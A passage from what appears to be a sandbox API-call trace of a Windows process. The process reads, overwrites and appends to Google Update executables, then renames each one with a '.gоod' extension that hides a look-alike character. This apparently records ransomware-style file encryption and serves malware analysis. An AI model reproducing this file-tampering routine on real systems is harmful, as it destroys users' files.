(x86)\\Google\\Update2\\1.3.33.5\\GoogleCrashHandler64.exe", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\GoogleCrashHandler64.exe", lpFilePart=0x0) returned 0x47 [0117.132] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0117.132] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\GoogleCrashHandler64.exe" (normalized: "c:\\program files (x86)\\google\\update2\\1.3.33.5\\googlecrashhandler64.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7ec [0117.132] GetFileType (hFile=0x7ec) returned 0x1 [0117.132] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0117.132] GetFileType (hFile=0x7ec) returned 0x1 [0117.132] SetFilePointer (in: hFile=0x7ec, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1faedd58*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1faedd58*=0) returned 0x1000 [0117.132] ReadFile (in: hFile=0x7ec, lpBuffer=0x3450ea8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1faedd28, lpOverlapped=0x0 | out: lpBuffer=0x3450ea8*, lpNumberOfBytesRead=0x1faedd28*=0x1000, lpOverlapped=0x0) returned 1 [0117.773] CloseHandle (hObject=0x7ec) returned 1 [0117.790] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\GoogleCrashHandler64.exe", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\GoogleCrashHandler64.exe", lpFilePart=0x0) returned 0x47 [0117.790] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0117.790] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\GoogleCrashHandler64.exe" (normalized: "c:\\program files (x86)\\google\\update2\\1.3.33.5\\googlecrashhandler64.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7ec [0117.791] GetFileType (hFile=0x7ec) returned 0x1 [0117.791] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0117.791] GetFileType (hFile=0x7ec) returned 0x1 [0117.791] SetFilePointer (in: hFile=0x7ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x1faedd58*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1faedd58*=0) returned 0x59850 [0117.791] WriteFile (in: hFile=0x7ec, lpBuffer=0x34da1b0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1faedc48, lpOverlapped=0x0 | out: lpBuffer=0x34da1b0*, lpNumberOfBytesWritten=0x1faedc48*=0x10, lpOverlapped=0x0) returned 1 [0117.794] CloseHandle (hObject=0x7ec) returned 1 [0117.794] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\GoogleCrashHandler64.exe", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\GoogleCrashHandler64.exe", lpFilePart=0x0) returned 0x47 [0117.794] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0117.794] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\GoogleCrashHandler64.exe" (normalized: "c:\\program files (x86)\\google\\update2\\1.3.33.5\\googlecrashhandler64.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7ec [0117.795] GetFileType (hFile=0x7ec) returned 0x1 [0117.795] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0117.795] GetFileType (hFile=0x7ec) returned 0x1 [0117.795] ReadFile (in: hFile=0x7ec, lpBuffer=0x34dd810, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1faedcd8, lpOverlapped=0x0 | out: lpBuffer=0x34dd810*, lpNumberOfBytesRead=0x1faedcd8*=0x1000, lpOverlapped=0x0) returned 1 [0117.825] CloseHandle (hObject=0x7ec) returned 1 [0117.825] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\GoogleCrashHandler64.exe", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\GoogleCrashHandler64.exe", lpFilePart=0x0) returned 0x47 [0117.825] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0117.825] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\GoogleCrashHandler64.exe" (normalized: "c:\\program files (x86)\\google\\update2\\1.3.33.5\\googlecrashhandler64.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7ec [0117.825] GetFileType (hFile=0x7ec) returned 0x1 [0117.825] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0117.825] GetFileType (hFile=0x7ec) returned 0x1 [0117.825] WriteFile (in: hFile=0x7ec, lpBuffer=0x34dc550*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1faedd88, lpOverlapped=0x0 | out: lpBuffer=0x34dc550*, lpNumberOfBytesWritten=0x1faedd88*=0x1010, lpOverlapped=0x0) returned 1 [0117.826] CloseHandle (hObject=0x7ec) returned 1 [0117.826] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\GoogleCrashHandler64.exe", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\GoogleCrashHandler64.exe", lpFilePart=0x0) returned 0x47 [0117.826] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\GoogleCrashHandler64.exe.gоod", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\GoogleCrashHandler64.exe.gоod", lpFilePart=0x0) returned 0x4c [0117.826] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedcc0) returned 1 [0117.826] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\GoogleCrashHandler64.exe" (normalized: "c:\\program files (x86)\\google\\update2\\1.3.33.5\\googlecrashhandler64.exe"), fInfoLevelId=0x0, lpFileInformation=0x1faedda0 | out: lpFileInformation=0x1faedda0*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0xcc658172, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc658172, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x4271cc61, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x59860)) returned 1 [0117.826] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedc80) returned 1 [0117.826] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\GoogleCrashHandler64.exe" (normalized: "c:\\program files (x86)\\google\\update2\\1.3.33.5\\googlecrashhandler64.exe"), lpNewFileName="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\GoogleCrashHandler64.exe.gоod" (normalized: "c:\\program files (x86)\\google\\update2\\1.3.33.5\\googlecrashhandler64.exe.gоod")) returned 1 [0117.827] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\GoogleUpdate.exe", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\GoogleUpdate.exe", lpFilePart=0x0) returned 0x3f [0117.827] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedd00) returned 1 [0117.827] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\GoogleUpdate.exe" (normalized: "c:\\program files (x86)\\google\\update2\\1.3.33.5\\googleupdate.exe"), fInfoLevelId=0x0, lpFileInformation=0x355e2c0 | out: lpFileInformation=0x355e2c0*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0xcc631f07, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc631f07, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcc500c5f, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x25650)) returned 1 [0117.827] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedcc0) returned 1 [0117.827] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\GoogleUpdate.exe", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\GoogleUpdate.exe", lpFilePart=0x0) returned 0x3f [0117.827] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0117.827] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\GoogleUpdate.exe" (normalized: "c:\\program files (x86)\\google\\update2\\1.3.33.5\\googleupdate.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7ec [0117.828] GetFileType (hFile=0x7ec) returned 0x1 [0117.828] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0117.828] GetFileType (hFile=0x7ec) returned 0x1 [0117.828] SetFilePointer (in: hFile=0x7ec, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1faedd58*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1faedd58*=0) returned 0x1000 [0117.828] ReadFile (in: hFile=0x7ec, lpBuffer=0x355e6c8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1faedd28, lpOverlapped=0x0 | out: lpBuffer=0x355e6c8*, lpNumberOfBytesRead=0x1faedd28*=0x1000, lpOverlapped=0x0) returned 1 [0117.993] CloseHandle (hObject=0x7ec) returned 1 [0117.993] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\GoogleUpdate.exe", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\GoogleUpdate.exe", lpFilePart=0x0) returned 0x3f [0117.994] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0117.994] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\GoogleUpdate.exe" (normalized: "c:\\program files (x86)\\google\\update2\\1.3.33.5\\googleupdate.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7ec [0117.994] GetFileType (hFile=0x7ec) returned 0x1 [0117.994] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0117.994] GetFileType (hFile=0x7ec) returned 0x1 [0117.994] SetFilePointer (in: hFile=0x7ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x1faedd58*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1faedd58*=0) returned 0x25650 [0117.994] WriteFile (in: hFile=0x7ec, lpBuffer=0x348db10*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1faedc48, lpOverlapped=0x0 | out: lpBuffer=0x348db10*, lpNumberOfBytesWritten=0x1faedc48*=0x10, lpOverlapped=0x0) returned 1 [0117.995] CloseHandle (hObject=0x7ec) returned 1 [0117.995] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\GoogleUpdate.exe", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\GoogleUpdate.exe", lpFilePart=0x0) returned 0x3f [0117.995] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0117.995] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\GoogleUpdate.exe" (normalized: "c:\\program files (x86)\\google\\update2\\1.3.33.5\\googleupdate.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7ec [0117.995] GetFileType (hFile=0x7ec) returned 0x1 [0117.995] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0117.995] GetFileType (hFile=0x7ec) returned 0x1 [0117.996] ReadFile (in: hFile=0x7ec, lpBuffer=0x348fdc8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1faedcd8, lpOverlapped=0x0 | out: lpBuffer=0x348fdc8*, lpNumberOfBytesRead=0x1faedcd8*=0x1000, lpOverlapped=0x0) returned 1 [0118.025] CloseHandle (hObject=0x7ec) returned 1 [0118.025] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\GoogleUpdate.exe", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\GoogleUpdate.exe", lpFilePart=0x0) returned 0x3f [0118.025] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0118.025] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\GoogleUpdate.exe" (normalized: "c:\\program files (x86)\\google\\update2\\1.3.33.5\\googleupdate.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7ec [0118.026] GetFileType (hFile=0x7ec) returned 0x1 [0118.026] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0118.026] GetFileType (hFile=0x7ec) returned 0x1 [0118.026] WriteFile (in: hFile=0x7ec, lpBuffer=0x348eb28*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1faedd88, lpOverlapped=0x0 | out: lpBuffer=0x348eb28*, lpNumberOfBytesWritten=0x1faedd88*=0x1010, lpOverlapped=0x0) returned 1 [0118.026] CloseHandle (hObject=0x7ec) returned 1 [0118.026] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\GoogleUpdate.exe", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\GoogleUpdate.exe", lpFilePart=0x0) returned 0x3f [0118.026] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\GoogleUpdate.exe.gоod", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\GoogleUpdate.exe.gоod", lpFilePart=0x0) returned 0x44 [0118.026] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedcc0) returned 1 [0118.026] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\GoogleUpdate.exe" (normalized: "c:\\program files (x86)\\google\\update2\\1.3.33.5\\googleupdate.exe"), fInfoLevelId=0x0, lpFileInformation=0x1faedda0 | out: lpFileInformation=0x1faedda0*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0xcc631f07, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc631f07, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x4290caaf, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x25660)) returned 1 [0118.026] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedc80) returned 1 [0118.026] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\GoogleUpdate.exe" (normalized: "c:\\program files (x86)\\google\\update2\\1.3.33.5\\googleupdate.exe"), lpNewFileName="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\GoogleUpdate.exe.gоod" (normalized: "c:\\program files (x86)\\google\\update2\\1.3.33.5\\googleupdate.exe.gоod")) returned 1 [0118.027] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\GoogleUpdateBroker.exe", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\GoogleUpdateBroker.exe", lpFilePart=0x0) returned 0x45 [0118.027] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedd00) returned 1 [0118.027] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\GoogleUpdateBroker.exe" (normalized: "c:\\program files (x86)\\google\\update2\\1.3.33.5\\googleupdatebroker.exe"), fInfoLevelId=0x0, lpFileInformation=0x350d2b8 | out: lpFileInformation=0x350d2b8*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0xcc7d58e1, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc7d58e1, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcc500c5f, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x17850)) returned 1 [0118.379] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedcc0) returned 1 [0118.379] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\GoogleUpdateBroker.exe", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\GoogleUpdateBroker.exe", lpFilePart=0x0) returned 0x45 [0118.379] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0118.379] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\GoogleUpdateBroker.exe" (normalized: "c:\\program files (x86)\\google\\update2\\1.3.33.5\\googleupdatebroker.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7ec [0118.379] GetFileType (hFile=0x7ec) returned 0x1 [0118.379] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0118.379] GetFileType (hFile=0x7ec) returned 0x1 [0118.379] SetFilePointer (in: hFile=0x7ec, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1faedd58*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1faedd58*=0) returned 0x1000 [0118.379] ReadFile (in: hFile=0x7ec, lpBuffer=0x342dc50, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1faedd28, lpOverlapped=0x0 | out: lpBuffer=0x342dc50*, lpNumberOfBytesRead=0x1faedd28*=0x1000, lpOverlapped=0x0) returned 1 [0118.381] CloseHandle (hObject=0x7ec) returned 1 [0118.381] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\GoogleUpdateBroker.exe", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\GoogleUpdateBroker.exe", lpFilePart=0x0) returned 0x45 [0118.381] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0118.381] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\GoogleUpdateBroker.exe" (normalized: "c:\\program files (x86)\\google\\update2\\1.3.33.5\\googleupdatebroker.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7ec [0118.381] GetFileType (hFile=0x7ec) returned 0x1 [0118.381] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0118.381] GetFileType (hFile=0x7ec) returned 0x1 [0118.381] SetFilePointer (in: hFile=0x7ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x1faedd58*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1faedd58*=0) returned 0x17850 [0118.381] WriteFile (in: hFile=0x7ec, lpBuffer=0x3430f78*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1faedc48, lpOverlapped=0x0 | out: lpBuffer=0x3430f78*, lpNumberOfBytesWritten=0x1faedc48*=0x10, lpOverlapped=0x0) returned 1 [0118.382] CloseHandle (hObject=0x7ec) returned 1 [0118.382] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\GoogleUpdateBroker.exe", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\GoogleUpdateBroker.exe", lpFilePart=0x0) returned 0x45 [0118.382] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0118.382] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\GoogleUpdateBroker.exe" (normalized: "c:\\program files (x86)\\google\\update2\\1.3.33.5\\googleupdatebroker.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7ec [0118.382] GetFileType (hFile=0x7ec) returned 0x1 [0118.382] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0118.383] GetFileType (hFile=0x7ec) returned 0x1 [0118.383] ReadFile (in: hFile=0x7ec, lpBuffer=0x3435ae8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1faedcd8, lpOverlapped=0x0 | out: lpBuffer=0x3435ae8*, lpNumberOfBytesRead=0x1faedcd8*=0x1000, lpOverlapped=0x0) returned 1 [0118.410] CloseHandle (hObject=0x7ec) returned 1 [0118.410] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\GoogleUpdateBroker.exe", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\GoogleUpdateBroker.exe", lpFilePart=0x0) returned 0x45 [0118.411] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0118.411] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\GoogleUpdateBroker.exe" (normalized: "c:\\program files (x86)\\google\\update2\\1.3.33.5\\googleupdatebroker.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7ec [0118.411] GetFileType (hFile=0x7ec) returned 0x1 [0118.411] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0118.411] GetFileType (hFile=0x7ec) returned 0x1 [0118.411] WriteFile (in: hFile=0x7ec, lpBuffer=0x3434830*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1faedd88, lpOverlapped=0x0 | out: lpBuffer=0x3434830*, lpNumberOfBytesWritten=0x1faedd88*=0x1010, lpOverlapped=0x0) returned 1 [0118.411] CloseHandle (hObject=0x7ec) returned 1 [0118.411] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\GoogleUpdateBroker.exe", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\GoogleUpdateBroker.exe", lpFilePart=0x0) returned 0x45 [0118.411] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\GoogleUpdateBroker.exe.gоod", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\GoogleUpdateBroker.exe.gоod", lpFilePart=0x0) returned 0x4a [0118.411] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedcc0) returned 1 [0118.411] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\GoogleUpdateBroker.exe" (normalized: "c:\\program files (x86)\\google\\update2\\1.3.33.5\\googleupdatebroker.exe"), fInfoLevelId=0x0, lpFileInformation=0x1faedda0 | out: lpFileInformation=0x1faedda0*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0xcc7d58e1, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc7d58e1, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x42cba647, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x17860)) returned 1 [0118.411] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedc80) returned 1 [0118.411] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\GoogleUpdateBroker.exe" (normalized: "c:\\program files (x86)\\google\\update2\\1.3.33.5\\googleupdatebroker.exe"), lpNewFileName="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\GoogleUpdateBroker.exe.gоod" (normalized: "c:\\program files (x86)\\google\\update2\\1.3.33.5\\googleupdatebroker.exe.gоod")) returned 1 [0118.412] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\GoogleUpdateComRegisterShell64.exe", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\GoogleUpdateComRegisterShell64.exe", lpFilePart=0x0) returned 0x51 [0118.412] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedd00) returned 1 [0118.412] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\GoogleUpdateComRegisterShell64.exe" (normalized: "c:\\program files (x86)\\google\\update2\\1.3.33.5\\googleupdatecomregistershell64.exe"), fInfoLevelId=0x0, lpFileInformation=0x34b3ae8 | out: lpFileInformation=0x34b3ae8*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0xcc658172, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc658172, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcc500c5f, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x2a650)) returned 1 [0118.412] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedcc0) returned 1 [0118.412] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\GoogleUpdateComRegisterShell64.exe", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\GoogleUpdateComRegisterShell64.exe", lpFilePart=0x0) returned 0x51 [0118.412] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0118.412] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5\\GoogleUpdateComRegisterShell64.exe" (normalized: "c:\\program files (x86)\\google\\update2\\1.3.33.5\\googleupdatecomregistershell64.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7ec [0118.413] GetFileType (hFile=0x7ec) returned 0x1 [0118.413] SetThreadErrorMode 